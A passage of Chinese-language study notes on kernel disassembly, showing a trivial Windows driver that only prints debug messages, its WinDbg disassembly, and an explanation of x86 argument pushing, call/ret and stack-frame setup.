<p><br>需要了解<br>JMP&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 无条件跳转，去运行跳转后地址的代码<br>ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 返回，注意,调用前每push一个参数，esp就-4，两个参数就-8，ret的时候，需要+8返回</p>
<p>无需了解：<br>call=push+JMP<br>ret = pop+JMP&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 将在后面继续说明</p>
<p><br>//先贴代码，仔细看其实很简单</p>
<p><br>VOID MyP0()<br>{<br>&nbsp;<wbr>DbgPrint("no arg...\r\n");<br>}</p>
<p>VOID MyP1(ULONG u1)<br>{<br>&nbsp;<wbr>DbgPrint("One arg:%d\n!",u1);<br>}</p>
<p>VOID MyP2(ULONG u1,ULONG u2)<br>{<br>&nbsp;<wbr>&nbsp;<wbr> ULONG u3;<br>&nbsp;<wbr>&nbsp;<wbr> u3 = u1+u2;<br>&nbsp;<wbr>&nbsp;<wbr> DbgPrint("two arg:%d\n!",u3);</p>
<p>}<br>&nbsp;<wbr></p>
<p>VOID DriverUnload(PDRIVER_OBJECT driver)<br>{<br>&nbsp;<wbr><br>&nbsp;<wbr>DbgPrint("unload&#8230;\r\n");<br>}</p>
<p><br>NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)<br>{<br>&nbsp;<wbr>ULONG x1 = 5;<br>&nbsp;<wbr>ULONG x2 = 8;<br>&nbsp;<wbr><br>&nbsp;<wbr><br>&nbsp;<wbr><br>#if DBG<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> _asm int 3<br>#endif<br>&nbsp;<wbr><br>&nbsp;<wbr>MyP0();<br>&nbsp;<wbr>MyP1(x1);<br>&nbsp;<wbr>MyP2(x1,x2);<br>&nbsp;<wbr></p>
<p>&nbsp;<wbr><br>&nbsp;<wbr>driver-&gt;DriverUnload = DriverUnload;<br>&nbsp;<wbr>return STATUS_SUCCESS;<br>}</p>
<p>//////代码结束</p>
<p><br>以下分别为Entry主函数和3个自定义函数的反汇编。<br>汇编完了先放那，具体解析在下面。</p>
<p><br>kd&gt; uf bz3!driverentry<br>bz3!DriverEntry [d:\mydriver\bz3\bz3.c @ 31]:<br>&nbsp;<wbr>&nbsp;<wbr> 31 f8451520 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr>&nbsp;<wbr> 31 f8451522 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 31 f8451523 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr>&nbsp;<wbr> 31 f8451525 83ec08&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> sub&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 32 f8451528 c745f805000000&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-8],5<br>&nbsp;<wbr>&nbsp;<wbr> 33 f845152f c745fc08000000&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],8<br>&nbsp;<wbr>&nbsp;<wbr> 38 f8451536 cc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> int&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 3<br>&nbsp;<wbr>&nbsp;<wbr> 41 f8451537 e854ffffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP0 (f8451490)<br>&nbsp;<wbr>&nbsp;<wbr> 42 f845153c 8b45f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-8]<br>&nbsp;<wbr>&nbsp;<wbr> 42 f845153f 50&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax<br>&nbsp;<wbr>&nbsp;<wbr> 42 f8451540 e86bffffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP1 (f84514b0)<br>&nbsp;<wbr>&nbsp;<wbr> 43 f8451545 8b4dfc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp-4]<br>&nbsp;<wbr>&nbsp;<wbr> 43 f8451548 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr> 43 f8451549 8b55f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp-8]<br>&nbsp;<wbr>&nbsp;<wbr> 43 f845154c 52&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr>&nbsp;<wbr> 43 f845154d e87effffff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP2 (f84514d0)<br>&nbsp;<wbr>&nbsp;<wbr> 47 f8451552 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 47 f8451555 c74034001545f8&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [eax+34h],offset bz3!DriverUnload (f8451500)<br>&nbsp;<wbr>&nbsp;<wbr> 48 f845155c 33c0&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> xor&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,eax<br>&nbsp;<wbr>&nbsp;<wbr> 49 f845155e 8be5&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,ebp<br>&nbsp;<wbr>&nbsp;<wbr> 49 f8451560 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 49 f8451561 c20800&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8<br>&nbsp;<wbr>&nbsp;<wbr></p>
<p>内核反编译学习笔记2（下）</p>
<p>&nbsp;<wbr></p>
<p>三个自定义：<br>kd&gt; uf bz3!myp0<br>bz3!MyP0 [d:\mydriver\bz3\bz3.c @ 5]:<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 5 f8451490 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 5 f8451492 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 5 f8451493 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 6 f8451495 68701545f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz3! ?? ::FNODOBFM::`string' (f8451570)<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 6 f845149a e8cb000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!DbgPrint (f845156a)<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 6 f845149f 83c404&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,4<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 7 f84514a2 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 7 f84514a3 c3&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret<br>kd&gt; uf bz3!myp1<br>bz3!MyP1 [d:\mydriver\bz3\bz3.c @ 10]:<br>&nbsp;<wbr>&nbsp;<wbr> 10 f84514b0 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr>&nbsp;<wbr> 10 f84514b2 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 10 f84514b3 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr>&nbsp;<wbr> 11 f84514b5 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 11 f84514b8 50&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax<br>&nbsp;<wbr>&nbsp;<wbr> 11 f84514b9 68801545f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz3! ?? ::FNODOBFM::`string' (f8451580)<br>&nbsp;<wbr>&nbsp;<wbr> 11 f84514be e8a7000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!DbgPrint (f845156a)<br>&nbsp;<wbr>&nbsp;<wbr> 11 f84514c3 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 12 f84514c6 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 12 f84514c7 c20400&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 4<br>kd&gt; uf bz3!myp2<br>bz3!MyP2 [d:\mydriver\bz3\bz3.c @ 15]:<br>&nbsp;<wbr>&nbsp;<wbr> 15 f84514d0 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr>&nbsp;<wbr> 15 f84514d2 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 15 f84514d3 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr>&nbsp;<wbr> 15 f84514d5 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr> 17 f84514d6 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 17 f84514d9 03450c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+0Ch]<br>&nbsp;<wbr>&nbsp;<wbr> 17 f84514dc 8945fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],eax<br>&nbsp;<wbr>&nbsp;<wbr> 18 f84514df 8b4dfc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp-4]<br>&nbsp;<wbr>&nbsp;<wbr> 18 f84514e2 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr> 18 f84514e3 68901545f8&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> offset bz3! ?? ::FNODOBFM::`string' (f8451590)<br>&nbsp;<wbr>&nbsp;<wbr> 18 f84514e8 e87d000000&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!DbgPrint (f845156a)<br>&nbsp;<wbr>&nbsp;<wbr> 18 f84514ed 83c408&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,8<br>&nbsp;<wbr>&nbsp;<wbr> 20 f84514f0 8be5&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,ebp<br>&nbsp;<wbr>&nbsp;<wbr> 20 f84514f2 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 20 f84514f3 c20800&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> 正式开始我们的任务<br>&nbsp;<wbr>&nbsp;<wbr> ////////////<br>&nbsp;<wbr>&nbsp;<wbr> 以下为Entry中调用函数的反汇编代码<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP0 (f8451490)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;无参数<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-8]&nbsp;<wbr>&nbsp;<wbr> ;1个参数<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP1 (f84514b0)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp-4]&nbsp;<wbr>&nbsp;<wbr> ;2个参数<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp-8]<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> call&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz3!MyP2 (f84514d0)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr></p>
<p>&nbsp;<wbr>&nbsp;<wbr> 显然我们可以得出结论：<br>&nbsp;<wbr>&nbsp;<wbr> 在调用函数的时候，无参数，直接call，<br>&nbsp;<wbr>&nbsp;<wbr> 有参数，有几个要push几个，把eax等寄存器内的数据入栈:push exx<br>&nbsp;<wbr>&nbsp;<wbr> eax,edx等寄存器内的数据哪里来的呢？通过mov，从存放地点移动过来赋值。<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr> //接下来我们进入函数内部，要动态追踪下面代码。以后每次看见这样代码，明白道理，就直接忽略：<br>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 保存ebp<br>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 保存esp</p>
